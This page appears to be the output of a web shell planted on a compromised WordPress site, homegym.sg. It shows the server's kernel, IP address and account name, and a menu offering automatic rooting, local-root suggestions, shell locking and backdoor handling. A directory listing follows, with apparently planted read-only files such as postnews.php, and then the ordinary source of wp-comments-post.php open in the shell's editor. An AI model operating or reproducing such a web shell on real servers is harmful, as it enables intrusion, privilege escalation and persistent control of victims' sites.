Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.sg /
articles /
Delete
Unzip
Name
Size
Permission
Date
Action
.wp-cli
[ DIR ]
drwxr-xr-x
2023-01-12 04:12
wp-admin
[ DIR ]
drwxr-xr-x
2011-10-16 11:05
wp-content
[ DIR ]
drwxr-xr-x
2012-03-04 07:00
wp-includes
[ DIR ]
drwxr-xr-x
2011-10-09 17:38
.htaccess
2
KB
-r--r--r--
2025-10-30 03:31
error_log
4.76
MB
-rw-r--r--
2014-10-22 15:23
favicon.ico
1.12
KB
-rw-r--r--
2011-10-16 10:44
index.php
397
B
-rw-r--r--
2008-05-25 12:33
license.txt
16.5
KB
-rw-r--r--
2011-06-08 10:18
postnews.php
5.74
KB
-r--r--r--
2025-10-30 03:31
readme.html
8.99
KB
-rw-r--r--
2011-07-12 10:24
sitemap.xml
3.31
KB
-rw-r--r--
2012-04-05 19:05
sitemap.xml.gz
869
B
-rw-r--r--
2012-04-05 19:05
wp-activate.php
4.24
KB
-rw-r--r--
2011-05-06 19:26
wp-app.php
39.3
KB
-rw-r--r--
2011-06-01 14:03
wp-atom.php
226
B
-rw-r--r--
2010-12-09 10:02
wp-blog-header.php
274
B
-rw-r--r--
2010-11-20 13:44
wp-comments-post.php
3.84
KB
-rw-r--r--
2010-12-09 10:02
wp-commentsrss2.php
244
B
-rw-r--r--
2010-12-09 10:02
wp-config-sample.php
3.1
KB
-rw-r--r--
2010-11-01 06:45
wp-config.php
3.39
KB
-rw-r--r--
2011-10-09 17:38
wp-cron.php
1.23
KB
-rw-r--r--
2010-03-16 20:39
wp-feed.php
246
B
-rw-r--r--
2010-12-09 10:02
wp-links-opml.php
1.95
KB
-rw-r--r--
2010-10-23 04:17
wp-load.php
2.47
KB
-rw-r--r--
2011-06-29 08:50
wp-login.php
26.95
KB
-rw-r--r--
2011-06-22 11:45
wp-mail.php
7.59
KB
-rw-r--r--
2010-05-25 18:42
wp-pass.php
494
B
-rw-r--r--
2010-12-09 10:02
wp-rdf.php
224
B
-rw-r--r--
2010-12-09 10:02
wp-register.php
334
B
-rw-r--r--
2010-12-09 10:02
wp-rss.php
224
B
-rw-r--r--
2010-12-09 10:02
wp-rss2.php
226
B
-rw-r--r--
2010-12-09 10:02
wp-settings.php
9.61
KB
-rw-r--r--
2011-06-29 08:50
wp-signup.php
18.21
KB
-rw-r--r--
2011-05-22 14:30
wp-trackback.php
3.62
KB
-rw-r--r--
2010-02-24 12:13
xmlrpc.php
3.19
KB
-rw-r--r--
2011-04-17 00:35
Save
Rename
<?php /** * Handles Comment Post to WordPress and prevents duplicate comment posting. * * @package WordPress */ if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) { header('Allow: POST'); header('HTTP/1.1 405 Method Not Allowed'); header('Content-Type: text/plain'); exit; } /** Sets up the WordPress Environment. */ require( dirname(__FILE__) . '/wp-load.php' ); nocache_headers(); $comment_post_ID = isset($_POST['comment_post_ID']) ? (int) $_POST['comment_post_ID'] : 0; $post = get_post($comment_post_ID); if ( empty($post->comment_status) ) { do_action('comment_id_not_found', $comment_post_ID); exit; } // get_post_status() will get the parent status for attachments. $status = get_post_status($post); $status_obj = get_post_status_object($status); if ( !comments_open($comment_post_ID) ) { do_action('comment_closed', $comment_post_ID); wp_die( __('Sorry, comments are closed for this item.') ); } elseif ( 'trash' == $status ) { do_action('comment_on_trash', $comment_post_ID); exit; } elseif ( !$status_obj->public && !$status_obj->private ) { do_action('comment_on_draft', $comment_post_ID); exit; } elseif ( post_password_required($comment_post_ID) ) { do_action('comment_on_password_protected', $comment_post_ID); exit; } else { do_action('pre_comment_on_post', $comment_post_ID); } $comment_author = ( isset($_POST['author']) ) ? trim(strip_tags($_POST['author'])) : null; $comment_author_email = ( isset($_POST['email']) ) ? trim($_POST['email']) : null; $comment_author_url = ( isset($_POST['url']) ) ? trim($_POST['url']) : null; $comment_content = ( isset($_POST['comment']) ) ? trim($_POST['comment']) : null; // If the user is logged in $user = wp_get_current_user(); if ( $user->ID ) { if ( empty( $user->display_name ) ) $user->display_name=$user->user_login; $comment_author = $wpdb->escape($user->display_name); $comment_author_email = $wpdb->escape($user->user_email); $comment_author_url = $wpdb->escape($user->user_url); if ( current_user_can('unfiltered_html') ) { if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) { kses_remove_filters(); // start with a clean slate kses_init_filters(); // set up the filters } } } else { if ( get_option('comment_registration') || 'private' == $status ) wp_die( __('Sorry, you must be logged in to post a comment.') ); } $comment_type = ''; if ( get_option('require_name_email') && !$user->ID ) { if ( 6 > strlen($comment_author_email) || '' == $comment_author ) wp_die( __('Error: please fill the required fields (name, email).') ); elseif ( !is_email($comment_author_email)) wp_die( __('Error: please enter a valid email address.') ); } if ( '' == $comment_content ) wp_die( __('Error: please type a comment.') ); $comment_parent = isset($_POST['comment_parent']) ? absint($_POST['comment_parent']) : 0; $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID'); $comment_id = wp_new_comment( $commentdata ); $comment = get_comment($comment_id); if ( !$user->ID ) { $comment_cookie_lifetime = apply_filters('comment_cookie_lifetime', 30000000); setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_url_' . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); } $location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) : $_POST['redirect_to'] . '#comment-' . $comment_id; $location = apply_filters('comment_post_redirect', $location, $comment); wp_redirect($location); exit; ?>